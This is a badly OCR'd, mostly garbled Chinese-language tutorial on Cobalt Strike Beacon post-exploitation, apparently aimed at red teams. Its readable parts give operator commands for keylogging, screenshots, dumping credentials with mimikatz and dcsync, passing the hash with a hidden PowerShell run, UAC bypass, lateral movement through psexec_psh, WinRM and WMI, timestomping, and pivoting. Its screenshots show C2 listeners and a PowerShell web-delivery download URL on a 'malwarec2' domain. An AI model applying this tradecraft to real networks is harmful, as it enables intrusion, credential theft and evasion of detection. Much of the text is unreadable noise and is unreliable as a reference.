Beacon Rpeikdw x86 FIHIZHHISEL. [FHF, x64 Beacon RAEHYR x64 Fi#
EPH2H. EIENSHBREAZIEE RS HIIREZEF. NRLSHE
SHK, WapBEaRM.



EEFITEH

1% download < E TS, AR EEXEBREERMAH=IEAI5S.
Beacon 2 AREEFEISEIEERMEN. EEIXEERAE, Beacon
THEESEREIENUEIEIER . X MNEUEHRAIA/NEBIRT Beacon 2Fi

HEWEEE, HTTP #] HTTPS @i&LA 512KB SREVFZTIREETE.

i\ downloads SE$EEE 2T Beacon IEFEMTHISUE FEFIR. #F
cancel 75, FIRXME, BEIHEEH T TE. BRILIE cancel 65
FREFEECRT, —REUES N UYL,

## A Cobalt Strike #7f9 View->Downloads, EEEHIFRRIES ALEE
TER, REERHN TEA =B ELER-RH. TERISUHFIEERZIR
FRSSEE L. B UHEERIR S  BEHGREERE], AER "BEXE .
&xfg, Cobalt Strike 2¥GFTIES A TFEEIR S LEVERERISGTH,

iZ upload TS LERIFENAF.

FESUtEt, BREREEFENER, FRESE—UEHRIEMSUERES.
Fi timestomp fSHATIERME, timestomp A& RE— 1 3A4RIE. T3(aJF0

BIEERYEN S 53— 4 ILE,

XHEZRFwS



{5/ Is ap>FIHSRIE RIS, (£ mkdir BIZEZR. rm SRIERSEEL
Xk, cp BXHEHBIEFRMEP, mv B

Windows ;¥

{#5FH reg query [x86 | x64] [HIVE \ path \ to \ keyl&=ifliEAZRAAVRELL.
Sz B A FRFIRFRIE. FE x86/x64 1IN, FHi&EH Beacon
{EREMERA WOW64 (x86) THAHIME. reg queryv [x86 | x64] [HIVE \

path \ to \ key] [valueSEIE;EMRINFAHFE/E.
Keystrokes and Screenshots

Beacon FHFICRERMEFIITE, SEINEIS—iEHETS, FEEERR
HRTEH Beacon, EGohEEICR:S, 15 keylogger pid EELFENE] x86
#HiEH. £ keylogger pid x64 ;X \ZE| x64 2+, explorer.exe 2t TE
— MRIFIEES, SR keylogger 152 C RS AT IGASHES,

REICRFEBNIEREENHERREN, FHEHEIREL Beacon, HEHELIE
BRRIPERICRES. IR, SMREBICFREFURKEENR. B REHS
IENER—MERICRER. BEEUF=EE, 15X screenshot pid KFHEE
BITEFA\Z x86 #7274, {#FH screenshot pid x64 ;X \Z| x64 i#i2H, [E
¥, explorer.exe BRXNMNTEN—MRIFAVRIEE . BEHRSHIXNTIRGER
A— M ESaEFERH., #EFSKEEETREEINZ—NMEREHES. Sl

{$5F8 screenshot pid architecture time it FE&E T Ei={T/ 1M, HES

X Beacon fe N\BHIH &R, XE—MMRAFEEREESE.



2 Beacon EWEIFHFRAESIZHES, ©5M Beacon I=FI8RIEER. (B
=, FEEEIRNESELAET Beacon =HEIKE, #H

A View -> Keystrokes, EEFH Beacon RUEFICRAIBAER. HA
View -> Screenshots, X5 Beacon [IANFREE. XM IHEHEER
RREEFERNHIMER. XLNEEE— MR ERT LIRSS
Beacon RIERVRAFIFEEE.,

E18 Post-Exploitation Jobs

Beacon &8 shell, powershell FIfERICRIELHIMA—IES. XEES
FE&eET, Ay AEmEHEER. £ jobs (s $ESE Beacon HFIEEIEST

FIfESS. {5 jobkill BUE—TUES.
SOCKS {2

{55F SOCKS 8080 7tim[1 8080 (EAuEaIH I  thin) £igE SOCKS4A
RIBARSS 8. IXEIRE —1> SOCKS IBARSS =%, i@1d Beacon {EHiintE. Beacon
AURERRAT [ERENN T {REE BAUHTRERVIER., £/ sleep 0 BAILABHZIREHT
Beacon i&#%. Beacon RY HTTP iEiEEXT pivoting BIRAIMA &R, ANERE
18i@iT DNS {EimineE, i&5f8F DNS txtrecord \BStER, EAILEA
proxychains fZE1E1d Beacon fEMmEMT R, {FH socks stop KZH

SOCKS RIEARSS =7,

Reverse Pivoting



{5F3 rportfwd dp<1E1d Beacon & & reverse pivot, rportfwd @S54 ES
R BF Lm0, (RERItmOREEERS SEURRY Cobalt Strike fRS3E8/E
EB— M ENMIROERE, FEXRNMEEZ AFHmRE, Cobalt Strike
@i Beacon fEiEEHItLRE, rportfwd BHERE: rportfwd [bind port]

[forward host] [forward port]

{53 rportfwd stop [bind portlZBEx AR A
NERIRH

RULEHA ARG SR ERREERRFIAIR,. Beacon R T JL/NETRAE)
EIRTHEIAIBR, Beacon AT SANPRIBFHATIERESZ — NEITEMENSEL, X
21#/ SMB Beacon RJIEEIE. SMB Beacon {#fmEEEAEEHHIE
35— Beacon SKEXE{FSS. SMB Beacon SIRIBAITHRES, ATLUEE

SIS ENTIRESH HAPRAIFRIL.
BidimRR
$EN elevate LAFI {5 Cobalt Strike ;EAHISPRIEFFIR. 1T

elevate[exploit name][listener] =iz (ARt ERYRBRHITIETT

BEINRIEH REFIFESES, 1B & Elevate Kit, Elevate Kit —1
Aggressor fIA, BN THRSRURTHRIREERZ] Cobalt Strike =,

https://github.com/rsmudge/ElevateKit

ER7IA:

1. TEE git


https://github.com/rsmudge/ElevateKit
https://github.com/rsmudge/ElevateKit

git clone https://github.com/rsmudge/ElevateKit.git

2.1% elevate.cna fil&ZE! Cobalt Strike =,

#%|| Cobalt Strike - > Scripts, #& Load, i%#% elevate.cna
3.5 Beacon 32H, %% Interact

AN "elevate” L\EET FANRFHRIETIFE

5.5% N'elevate <exploit name>'LAHITI T

(ERHEMERHTIEA

{&F3 runas [DOMAIN \ user] [password] [command]]LAB—MEREE
ENRBRBNETHS. runas MSASREIR IHmE. AT, ETLAERIES
ANAEY runa

(&M spawnas [DOMAIN \ user] [password] [listener]L\5—RAFS{%H{FE

REFEREMSE. Was< £ PowerShell TEREFHINEE

3R15 SYSTEM

{5F3 getsystem 1=\ SYSTEM MKPRISHE LR BIRTHIAA PRI i s TE
HRAPTTERI TRV TURE.

UAC Bypass

Microsoft £ Windows Vista 5| N\ 7T PP #EE (UAC) , F7E Windows

7 RS EFH T 7 804 UAC 72 UNIX 5 sudo IEEEIL. AP EREENRH


https://github.com/rsmudge/ElevateKit.git

1TEERF. SRPFEEMTIFREN - REamiatt()E2SRERE I8
YIS

Cobalt Strike BiTa#1> UAC ZEEIE. MRIMAPAEEER, NIXERE
BARIEHE., ENEXURIAFZEEE Administrators B, 15{5A shell

whoami /groups

elevate uac-dll [listener] SEEGREFAUIRAIHETEMSIE, WEER
UAC il Artifact Kit 4250 DLL SHIZNHRAIE, ARBEIT—MMAERE
B, ZNFRER (a) AIETHEAREMER, (b) 53 DLL AR, X
Lo BNNESE) Beacon £1EHY DLL, HIRERIEATF Windows 7 FAFRIEXN
Windows 8 REEMA. R Always Notify dbFHREIRE, MHKEFEARRE
EF.

elevate uac-token-duplication [listener] SEEEEAIRAHIZRLER
KAF, XMIEERA— UACTREIR, RIFIHRFHH R ERMRTHAE PN
SHSIHIRARE, WRREKRKIEMER D BRSNS MUR, WIEE
FAF Windows 7 RESHRAE, 5 Always Notify b FREIRE, NILKEE
KMEFHHEEAESRIRERIETIET (FAE—RBF) . isEGER

PowerShell £p{41E,

£/ runasadmin [command]iz{TEBIRARAVERSS. runasadmin

ap £ UAC SHEEHINE.



Elevate Kit @& UAC Zi&iEI, JLAEFESE&HIRAE Windows Ee& A

Privileges

A getprivs LIS BLE Ha1HIRIShERINIR,

Mimikatz

Beacon &5 7 mimikatz, f§5F3 mimikatz s3<$EHETER<S1EIHELS mimikatz
NGSEERRR. Blil, mimikatz standard::coffee £i%[A] coffee S&.,
Beacon fGiEANS BIFAIAHIZRIIICES mimikatz L, —£ mimikatz a5
E/ SYSTEM RRA BEiz 7. Ea<TRIEII L FFSKEH Mimikatz fEi51T
RIS ZBHRFHEI system PR, #Ia0: mimikatz !lsa::cache BRER S
E1FH salt oS E

BH—EATE), SrIaeREEF Beacon NHREIHIAISHRIZIT mimikatz 85<, {5
F@gi&kan<3EH mimikatz #&#) Beacon FYZRTAAISHE. B4,

mimikatz !lsa::cache J&{# M Beacon FIZRIAESHEE mimikatz FRiEfT
dcsync @<,

BRRET R E(EA Beacon RIZRIAIRISHEIETT mimikatz i3, Ear<SRIE
INE@LAES) mimikatz £ Beacon RIZRILIEISHE. g0, mimikatz
@Ilsadump::dcsync $4{#F8 Beacon BIZHBIAIRSHEE mimimikatz 1T

dcsync a4,

Credential and Hash 3%HY



EIEEISF(E, 5\ [beacon] - > Access - > Dump Hashes, #&tBalL A5
Fi Beacon #=H&HRY hashdump @&, IXEEAFSIEER—MNMEAN LSASS HU#H
2, FHAHBIRS THIKIB AP EEZIEIRTEE. 1% logonpasswords 65545
{£F mimimikatz AEREIHRIR R AP R EZRBGS.

logonpasswords f<$-5[beacon] -> Access -> Run Mimikatz #5[&]

{£F3 dcsync [DOMAIN.FQDN] A\t {=HIZE /T E KPR ENEIRIAE. 1Lt
FRAfERA Windows API #iRrtgizdlzz 2 BRLSER. EREEEERREE
KE. Beacon i mimikatz KHUTIXIURA, WMRFEFENERIES, B

{53 dcsync[domain.fqdn][domain\user]

(FRIX LA SEEMERYEIRM Cobalt Strike WEHFEEEIESURERH, FHA

View - > Credentials LASKEN Y FIZIPAIRSS 28 FRYESE.

Port Scanner

Beacon E— 1A Eix31#28. (£ portscan [targets] [ports] [discovery
method]3RSaNixOMEEEER. EAILUBELNES oRINBEIREESIER. i
Ot 2401, FI%0, %335 172.16.48.0/24 1-1024,8080 #&1Eix 1 F 1024

#0 8080 LT =EHBE 172.16.48.0 2 172.16.48.255,
B=MAIIENFENEI. arp 75/AER ARP IEXRRANENESLTEFE
R, icmp F5iERIE ICMP echo IBICRIMEBIREGLTFEIRE. none i%

INEF portscan TE{REMBEEINEETFFEIRE.



iR 3 FERFIGIE Beacon check ins 2517, UEBERFEHLN, BS
BIEEA1X£E Beacon 544, Cobalt Strike 54 BIEEFHGER L IHIEN
B BRMET,

PILEFNE RS

Beacon RIMZEIELRIEML 7 Windows Active Directory R EIAFIAINE
tRRUITR. A net dclist sn SEL BERINARYEHRIEETIRE. £ net view
L EBRIIARIE PR EL Bir. X < tBiEFE BinEEL. net computers
S IBE B AR LRSI BN I AR E R BT,

Beacon (YMEEIEREEET Windows RILEHEE AP RIS, XLHSH
E#ES{ Windows PUIFZREM KRGS, XBAE—LAFRINEE. 5,
{#F net localgroup\\target 7/tH55— 1N RFE LAYE, (FF net

localgroup \\target group name FIHE— MRS EBAPIHRR, XL

EEARNIFEER, AR — R LN EIERAT,

{#5F3 help net 3REX Beacon M4RERFFIEMSFIFR. £ help net
command FREGRENE IR RIS A,

[EIEXR

SAPERE| Windows £, HEMIBRSHE. MBS BRARREN
IREVER. IHESHIEREGRAPS M IRIERIRE— Active Directory & ERI5
— N EREFEFAFIER. ETLUNS— MRS — S EAFRBENATERN
Beacon Fr, HUTUURIERT, ERILUENIZAF SEPRIEMMRSHITRE.



{&£FF steal_token [process id| K& EHEFRICH. NRBEEIEEE

1TRIBERZ, 1B(EM ps. getuid apISIH SRR, (£ rev2self ISR

Ia<ThE,

NRIEFNERNFAFRIERE, (£ make_token [DOMAIN \ user]
[password] & AEBIXLERIISHE, WWSHEERLRSENEIR, BEENE

HNRE—EREE. ERBREARARE. XEMHARIZER.,

{88F mimikatz 1&1J Beacon &g {E. Beacon 73 mimikatz sekurlsa ::

pth / user: [user] / domain: [DOMAIN] / ntim: [hash] / run:
“powershell -w hidden E8IE—EHE S HIRENHERIRIEEIRMEANE

BRBEEESR, (#H steal_token NILFTHTEFIRENSHE, SERERHEHBENER

HIRBR.

Kerberos Eiz

{5F3 kerberos ticket use [/path/to/ticket]i5 kerberos EiF;FAH ISR
B, XKE5IF Beacon ERILLERFINIRSIRERFAHTRE, =iFEA

mimikatz 2.0 &5%HY Golden Ticke

{5F kerberos_ticket_purge iSkRSERISIERIXAYE kerberos T4

&Mz

—BAEEEE RN EB R L AEIERIBEFINSHE, S LUKBLE
(FEZEE=4BiR, Cobalt Strike B9 Beacon BJ LN B&MFBoNEIR,



{#£F3 Beacon K psexec [target] [share] [listener]fEiTiZEA LHITE R
. S BAERRITESARL Windows BRESATHITIE, BHEHZEIEIEE
RIH=, BIEIRSS, BalRSUKRBTER. BAL=EIE ADMIN $F1C $,
{5/ psexec_psh [target] [listener]{&5f8 PowerShell FEIRZEA EHUTERX
T, Wi SEEIE— MRS KIETT PowerShell 1772F7, BRIEHBTER.
NREABEMME, XMEREEIEARER.

Beacon By winrm [target] [listener]dz <15 WinRM 7R84 EHR1T
B, WRIERERRRE LSRR WIinRM, BE0ARXARY. IkTfE
FA PowerShell fEB#r_EIIEBRRE.

&fa, (£ wmi [target] [listener]i&id Windows Management
Instrumentation {£i3H% k. i< PowerShell £ BiR EMNEBIA

.

Hithar <

Beacon ifAE—LE A SHENE

iZ clear a5 %1575k Beacon RYESSHIZR. MRIFMA TR <, ALARZS

SiEkR.
= exit LURH Beacon 1Z#15.
A3 kill [pid]kZZ EHFE

{5F3 timestomp E— 37449 Modified, Accessed #[] Created Rtjal5 58—

N AERIET EJFE PR



DNS Beacon

RS HTTP #1 DNS Beacon

ig& HTTP #1 DNS Beacon BXEERZ&RZWIEAY Cobalt Strike Ihgg. X1
B EHEH DNS EKAIERIEES. 1IXLE DNS iERKZE T Cobalt Strike
HIBARRSS BRI AUIRAYEE K. DNS IR/ Beacon i NRERRIRSEERERE
TE(ESS. DNS IBELEE & Beacon SN IEHIRIBARRSS S8 FE(ESS.




DNS Beacon i&iZE

B, WERGEBEY HTTP GET i&E FEEATH1ES. DNS Beacon fYH
HNEH/IMERGBEREEE SRS R, [EERBREE, RIERERLY
fHER T, BATLAET DNS FEES.

iEiEE

&KX, BE& HTTP 71 DNS Beacon FJLAEIT HTTP, DNS AigR, DNS AAAA
iCR8 DNS TXT iER T #ES. BEFHE, XMERASEER AR RIE
HEXEEHRIBIEZ [Al)#, R Beacon A mode #ap<$ =R Beacon Y
#UEEE, mode http E HTTP £{EEE. mode dns 2 DNS A iERHIEE
&, mode dns6 2 DNS AAAAiCRBE, FH, &3 dns-txt & DNS TXT

ICREUEEE.

HTTP &dEEiE(FH HTTP POST i5KIEER &XEE, DNS #UEEESE HIEH
H RS 23 ERAIEHR R AR — M ENE . FNBNEXKER
malleable c2 maxdns EINigE. DNS TXT @BEB{ER1%{ER 100%, DNS

AAAA BERBFERIZER 50%. DNS A BERBFERIZERN 25%.

imie, REESAAN, DNS EiRd=KAN. A checkin a5 ET™RIEA

home Bi53k DNS Beacon 1§25,



external intarnal = user
- 172.16.20.174 whatta.hogg

- -

Event Log X | Listeners x] Beacon @ X

beacon> mode dns-txt

[+] datF~chamree,set to DNS-TXT
beacon> checkin

[*] Tasked beacon to checkin

[+] host called home, sent: 8 bytes

Listener g8

Windows/Beacon DNS/Reverse HTTP B &AM ENET HTTP i&EE, 1

BlEIX /NIRRT, 1R, SEEEENETMROM cobalt strike, ©1§



AT HTTP 3X e, SAFREILB G EHRS, Cobalt Strike 2

FiEfEimH 53 %A DNS RSES=:E1.

external internal =~ user

New Li

Create a listener.

Name: |ec2 (MwW2) - DNS

Payload: rwinduwsfbaac un_:

Host: malwanfc.’z .Iosenf
Port: BO B )
San

. W

Event Log X | Listeners X

name payload

windows/beacon-dns/reverse-dns-txt B3 & a{E A dns-txt iER FEFIE
#IB& http # dns-beacon, GIZRI{RITERT, B IEEEER S GREIEH
F HTTP @E80i%wE. FE#E, Cobalt Strike BREM RO 53 E%%AY DNS fR

S8R,



UNER(ERS HTTP stager i & Hybrid HTTP #1 DNS Beacon BXfaZ, BI=
1GABARILAIESK DNS TXT i8R, ¥ Cobalt Strike IHEEIG AIFEHSE listener

name (DNS) LAsEHIfER DNS TXT i2% stager.

DNS Beacon i

B IRITEsH s Save /&, Cobalt Strike EEKIRBEBEIANTIIER. &
Ay Cobalt Strike HFIRARRSS 2R RGeS EEERVE BB L. BIE DNS A
ICRFGHEIERERY Cobalt Strike FBABRSS R, £ DNS NS iCRGSMEEL
FiEFRLE Cobalt Strike FIBAIRSS 2SI A iBR.

Input |

This beacon uses DNS to check for taskings. Please provide the |

J domains to use for beaconing. The NS record for these domains |
must point to your Cobalt Strike system, Separate multiple
domains with a comma

L

-

psenolove.com, freepjcs.losenolove.com, game.losenolove.com)
E
‘ 0K H Cancel,| |

Rt E

i DNS B8, BHIAKRIRHEA nslookup jibberish.beacon.domain,

FNEREFX1S 0.0.0.0 FY A ICRNZE - APALRY DNS iIREIEH. MRELBE!



RE, BRASEH) DNS EcER1ER, JB& HTTP Al DNS Beacon {TASGE

=

HafRIEAY DNS iICR35 | FMEEN_ERYEZMIE, Cobalt Strike A9 DNS Bg552%

BanZ NSRBI ORI EIIAREIIA, DNS e —BIRS|/EKE
BieEZRFEE, BEiEIB—aRSHm1EE

WRISATF NAT REBEEE, BRRERAL IP #EHEA NSIER, HEHXIE
‘REBNRFmE 53 EAY UDP RERAZILLRE S £, Cobalt Strike B1F—M=E
#l Beacon Y DNS fR55=8.

DNS Beacon Setup and Use

1= nslookup
> server malwarec?, losenolove, com
Default server: malwarec?.losenolove.com
Address: 54,15%9.17. 44453
> thisisatest

SErver: malwarec?. losenalove, com
Address: 54.159.17.44853

Non-authoritative answer:
Name : thisisatest. home
: 0.0,0.0




:~# nslookup thisisatest.profiles.losenolove,
Server: 192.168.1.1
Address: 192.168. 1, 1#53

Non-authoritative answer:
Name: thisisatest.profiles, losenolove,com
Address: 0.0.0.0

: ~# nslookup thisisatest.game.losenolove.com
Server: 192.168.1.1
Address: 192.168.1. 1#53

Non-authoritative answer:
Name: thisisatest,game, losenolove,com

Address: 0.0.0.0

:~# nslookup thisisatest.freepics.losenolove,
Server: 192.168.1.1
Address: 192.168.1. 1#53

Non-authoritative answer:
Name: thisisatest, freepics. losenolove, com
Address: 0.0.0.,0

HE




~# dig +trace thisisatest.profiles.losenolove

: <<>> DiG 9.9.5-9+debBu2-Debian <<>> +trace thisisates

3 global options: +cmd
3600
3600

1+ Received 185 bytes from 192,168

33133
33133
33133
33133
33133
33133
33133
33133
33133
33133
33133
EJEE
33133
com, 16943
91684CF C41A5766

IN
IN

IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN

NS
NS
1. 1#53(192, 168

NS
NS
NS
NS
NS
NS

NS
NS
NS
NS
NS
NS
DS

g
h
i
j
k
L
NS m.
d
b
C
d
e
f
3

FWDR-71
FWDR-71

o 1.1)

.gtld-
.gtld-
.gtld-
.gtld-
.gtld-
qtld-
gtld-
.qtld-
,gtld-
,qtld-
.gtld-
.gtld-
.gtld-
0909 8

3+ Received 528 bytes from 71.242.0.12#53(FWDR-71.FWDR-




Packages

- external Manage
Clone Site

Host File

Spear Phish

Signed Applet Attack
Smart Applet Attack
System Profiler

—

.

Event Log X | Listeners x|
‘nnmn payload




‘external internal - user

PowerShe

This attack hosts a PowerShe
Strike listener, The provided ¢

URI Path: |/a

Local Host: Hmalwach.loser

Local Port: |80

Listener: licl (MW2) - DN

ey

Success DL ¥

Started service: PowerShell Web Delivery
Copy and paste this URL to access it

ﬂmttp:fﬂ“ahuarecz.Inﬁennlova.n:om:at.‘r{a'}l'ﬂ




Type the narmee of 3 program. folder, document, of internet

J-"l resoutcd and Windoat will Spen d for yoy

Open wiaaduinngl hiig ! mabwarec] losenciove com B0 ) |

HTTP #1 HTTPS Beacon

windows/beacon-http/reverse-http 2 Cobalt Strike i http beacon, L,
beacon BIGE(ESZHERA HTTP GETIERK FEEA ], X MSHRA HTTP POST
IBREEEE. —BESEIE 7 mifssFt ik Save, Cobalt Strike JGERIEGR
—MEFIR, LURHELS beacon f8F. BIESHIEHIZIBAIRSS2RHY IP HtiFEiEL
EEMA DNS AICR., MNRIREEHRNHERSEE, WEERHANENE

PARRSS 28R IP ik,



Input

This beacon uses HTTP to check for taskings. Please provide the
domains to use for beaconing. The A record for these domains
must point to your Cobalt Strike system. An IP address is OK.

Separate each host or domain with a comma.

'ads losenoclove.com, callbacks advancedpentest.com| |

‘ QK H Cancel‘

HTTP Beacon
windows / beacon_https / reverse https =2 Cobalt Strike B HTTPS
Beacon, Beacon RUIXF /ST SSL INEHIB(S. eI LAER HTTPS Beacon /Y

B SSLUES.

FHRERE

HTTP %] HTTPS Beacon {§if3.5 Internet Explorer fHEIMLIRIGE. WISRFAF
1=1T7HY Beacon ZM context, HTTP #1 HTTPS i&(5, FIEEmNRIEIRSS =R
WIFEEEK, B, XEEINMERATEN,
JLAERERNERESHAISE Beacon artifac, #HA

Z| Attacks -> Packages -> Windows Executable (S), mEHEFER5=A

B9 the ... &£, XEFTH— " XHEHERER Beacon artifac B IEIRE.


https://www.cobaltstrike.com/help-malleable-c2#validssl

Export a stageless Beacon as a Windows executable. =
Use Cobalt Strike Arsenal scripts (Help -> Arsenal) to

-

Stage: llocal - beacon http - |

Proxy: | | fes | |

Output: m (Manual) Proxy Settings | - | a
x64: [1Us proxy Type: |http -

| Proxy Host: |172.16.4.80

l
Proxy Port: |8080 |
l

Username: |bobtherabbit

Password: [carrotsRULE |

[ llgnore proxy settings; use direct connection

| Set || Reset || Help |

FiIERE
(Fzh) REREXEERM 7 JLMETSRER Beacon J&ix HTTP #1 HTTPS
1BEKATA. proxy type FERECEMIESREL, proxy host 1 proxy port FE&
Hiff Beacon {RERFTERYNLE. username F[] password FEREAIERY, XLELF

EXiExE Beacon BT A CIBH TR D IEIERIEE.

%5 the Ignore proxy settings; use direct connection #E5&! Beacon =

iILE HTTP #1 HTTPS & kM Emig I,



mih Set IZtHsEH LAERFr RV IEIR EEHT Beacon XHiEIE, i Reset %
BRI EIRERIEZEGAE.

%2 BEH Beacon AITEE Rk ABIEEFNIBIRERIEI, X2EF I beacon

http #0 https stager ARSI LEIEIR,

W{aJelEE HTTP Beacon Listener

_—
external internal =~ user

New Listen

Create a listener.

Name: |[local - beacon http

Payload; [winduwsfhlacnn_httpf

Host: [192.168.1.2 |

Port: |;B: a
int Log xl Listeners X E
e pay]oad 1—




Input

. “ This beacon uses HTTP to check for taskings. Please provide the

domains to use for beaconing. The A record for these domains
1 must point to your Cobalt Strike system, An IP address is OK,
Separate each host or domain with a comma,

y Manage
Spear Phish glnna Site

Host File

Signed Applet Attack
Smart Applet Attack
System Profiler

Event Log X | Uisteners X




PowerShell Web Delivery © e 0

This attack hosts a PowerShell script that delivers a Cobalt  *
Strike listener. The provided one-liner will allow you to

-
= W0

URI Path: |/a
Local Host: [192.168.1.2
Local Port: |80 I
| Listener; [lacnl-bn:nn http v w

| (ot o)

Event Log xl Listeners X

name payload
|.___|| beacon rI'“.F.'

SMB Beacon



windows/beacon smb/bind pipe 2 Cobalt Strike §J SMB Beacon, SMB
Beacon {FRAMHE EBEBIIR%K Beacon H{TIEE. XM RN RBEER—IEN
5 Beacons —®2T{E, BHIERTENME, Windows £ SMB il s
R EEEE. Eit, &R/ SMB Beacon

X3TF Beacon FUARZEINEE, &AL SMB Beacon FIFEIRmITEE. FNEA
HENAITIRESBITIRER TCP HITEERER, LUBRETAMENAIFKIE

A IRE $2&f, Beacon AUtEMEFBNTNAEER SMB Beacon I EZ R EE L.

A EI LIS H stagless SMB Beacon BIH{T37448, DLL, H#HAZ

Attacks - > Packages - > Windows Executable (S) Fi%&#% SMB Beacon
TS,

[55) SMB Beacon FREGEIHERIE. MREEIT— P AISELRI SMB
Beacon Xk, NAEHERZEWRELALUZHIE.

SMB Beacon B3 localhost-only TCP stager 1&48EZ! New Listener XJiEiEH
15RO L. SMB Beacon B2 5 pipe stager A2 FALIE4EEE!

Malleable C2 BtE {4+ HY pipename_stager j5E10,

SMB Beacon B EIE4FER Malleable C2 FtE {4+ AY pipename i%17,

HEREFNEH R

M Beacon 1544, @ Link[IP Address]i524#1 Beacon $EERIFESEHE

1Z#AY SMB Beacon, Z3g) Beacon #& NBY, EIEHZAIXTFIRIIGEN,



ATRNIEERE, §E8AY Beacon fEEF Windows @& BB TEE. RE
%A SMB i}, XFmEE—LEEEI:

1.8 SMB Beacon RUEHW =m0 445 AUESEE

2 18R pettiEmRE— Cobalt Strike SLEIETERY Beacon,

ANRAEZIHEEE Beacon [FEIEIR 5 (1B4EIGIR]) : SFEURBEFRISEEE
8 shell net use \\host\IPC$ /U:DOMAIN\user password 5F#iE/&
5, WEHERAPARYHEN., HAIERHSAFETLL., TRRER, =B
X4k Beacon,

EHER Beacon $4#%, 1BERXREFHRFEER unlink [ip address], #HfE, &

B LARREREEIIR EERY Beacon H (EM 55— Beacon §%ZEIE)

Pivot {G$ME

pivo 3RFMNEILAB ARG EREAT SMB Beaco %, #H#AZ| Cobalt

Strike - > Visualization - > Pivot Graph LSRR RIRHE,



192.168.1.95

/]
s

SYSTEH *
JOSHDEV @ 1728

L )

7
E— ..‘!&
~

whatta.hogqg whatta.hogg *
Ws2 @ 4060 Ws2 @ 22438

SYSTEH *
CEOSBOX @ 3344

Pivot ¥aFMNE]

B> Beacon RIEHHE— M ElR. SSIEF—HF: SNENRIERRREERER

7. WRERRALEFTHRINBEIK, N Beacon HEEBEIERNRATHES

517, RISHERRTEK Beacon RHIRE, HFEEREEMIALLGS,

Bk SERZRT Beacon RIRE—PHAMR (FI40, I, PrkiSEEEm=R) .

Beacon {FH—&KFEBRELERISER HTTP, HTTPS 8¢ DNS imO/EZS,

E— Beacon RIEIERZEIF— Beacon STEMIE &I SLFR T MEIRZ B

§4¥%, Cobalt Strike By Beacon {5/ Windows B BB RXTRAIA T



=1l Beacons, mEEER Windows FRIFHFZEIBEEH. EHEIENAS

BEBEREHEE SMB i, LEFEERTR Beacon HEETHTF,

BT Beacon RIZFRE. BRI LUBS BTN LBREHEI—MERIZES D

{Shr. & ctrl F shift ELAEIREEGEIEEEA Beacon,
LT Beacon, BHE—"E, HAE S0 ARG FEEI.

BiEEBESBEE Beacon A9 pivo iEMNELAF B I ERTEHNE,

SMB Beacon iZEF1{#EHH

] L
[

beacon> sleep 5

[*] Tasked beacon to sleep for 5s
[+] host called home, sent: 16 bytes




172.16.20.174 ‘whatta.hogg COPPER

New Listener w O
Create a listener.
Name: [local - beacon smb I
Payload: \windows/beacon_smb/bind_pipe v
Host:  [192.168.1.2 |
Port: I"QB?d I ] —
20.174@2772 E

Explore *| pump H:
Pivoting * | Golden T
Spawn Make Tol

Session * | Run Mim
'—

Spawn A




internal ~ user computer

172.16.20.174 whatta.hogg COPPER

BypRs UAC w

Execute a listener in a high-integrity context, This
feature uses Cobalt Strike's Artifact Kit to generate

Listener: Focal - beacon smb 'i Q

|. Launch || Hale ]

o W H D O =
internal = user

172.16.20.174 whatta hogg
172.16.20.174 whatta h
Interact

external
Bl 192.168.1.11

Access

Explore » g=T

Pivoting * | pe

Spawn File

Session * | Ne

Por

Pre

- Scl

Event Log X | Beacon 172.16.20.174@2772 X —




Choose a istener

name payload hast
e | ecz (ADS) - HTTP B... windows/beacon_http/reverse_http rllosenolove.co

Event Log X | Bescon 172.16.20.174@2772 %c.‘:‘iWE?-DNE B... windows/beacon_dnsjreverse hitp malwarec2 lose

: EE‘ ?EI..D local - beacon smb ~ windowsjbeacon_smbybind pipe 192.168.1.2

{ 4652 4592 !‘ :
| 692 636

_ 772 656 .

| 840 764 Choose !_ Add || Help
1060 764 N e ol = e e e o
1144 764 swchost exe wEE 0
1228 764 vmacthlp exe w86 0
1748 764 spoolsv.exe wB6 0
1976 764 svchost exe TS 0

l vmtoolsd axe 0

| 2396 764 gsbes %88 0

[ 3700 764 Searchindexer.exe %E6 0

| 3052 764 swvchost axe xBE 0

[oee 692 dwm.exe 1 <@ 1

[_kill | [ Refresh_| Inject [ Log Keystrokes.| | Sereenshot. || Steal To

Attacks Reporting Help
@ H!’.ﬁﬂl@iﬂl'fi'lﬁ

1 T
S

q 1?2 16.20.174

whatta.hoqgqg whatta.hogg *
COPPER @ 2772 COPPER @ 4892

192.168.1.11




o SYSTEM *
= GRANITE @ 3780

L

PN

whatta.hogg
COPPER @ 2772

EventLog X | Beacon 172.16.20.174@2772 X | Processes 172.16.20.174@4892 X | Beacon 172.16.20.174@2772 X

heacon= psexec_psh GRANITE local - beacon smb

*] Tasked beacon to run windows/beacon_smb/bind pipe (\\GRANITE\pipe‘\status_9876) on GRANITE via Service
t called home, sent: 198947 bytes

. }d3df7d on GRANITE
[+] established link to child beacom: 172.16.20.159




whatta.hoqqg whatta.hogg *

192.168.1. 11 COPPER @ 2772 COPPER @ 4892

e -

Event Log X | Beacon 172.16.20.174@2772 X | Processes 172.16.20.1

[+] established Llink to parent beacon: 172.16,20.174
[+] host—eatlediomerT—sent—I2—bytes
beacon= inject 580 local - beacon smb
TasKeéd Deéacon to InjJect windows/Oéacon smb/bind pipe (12
[+] host called home, sent: 193371 bytes

[+] established-link-te child beacon: 172.16.20.174

beacon> Link GRANITE

[*] Tasked to Link to 'GRANITE®

[+] host called home, sent: 27 bytes

[+] established link to child beacon: 172.16.20.159

TCP Beacon

windows/beacon-tcp/bind-tcp 2 Cobalt Strike AY tcp Beacon,

TCP Beacon {#F3 TCP E#=FiBiIR Beacon #1T@(E. XXt RBESHE

—EHFIMZE_EAY Beacon —#2 TAE,



X4 beacon BIAZEUFME, ERTLAER tcp beacon B9 BRlTES.

SRR LASH— N FaER stageless TCP Beacon executable or DLL#HNZ
attacks->packages->windows executable (s) FHEREAI TCP Beacon (i
Ifres.

4T Beacon HUREEBEINEEEIE., MNREEITHIRAISER TCP Beacon
fa#, NpuEERIZABLEE.

TCP Beacon stager 1482 New Listener XHiEIEFIEEMHO, TCP Beacon

BREIESIERRMAEC, 7 Malleable C2 BLEX{4HiEEN tep_port

JEI,

AN HEHE

£ Beacon #=Hl5, {#F connect [ip address]i&LRIRIEREREIERNERE

A TCP Beacon, HBIRIEENES, HIEEAIFLIHEEN.,

M Beacon =&, A Connect[IP address S RIRIAIEZEIEEFTER

A TCP Beacon, HBIRIEENES, HIEEAIFSIHEEN.,

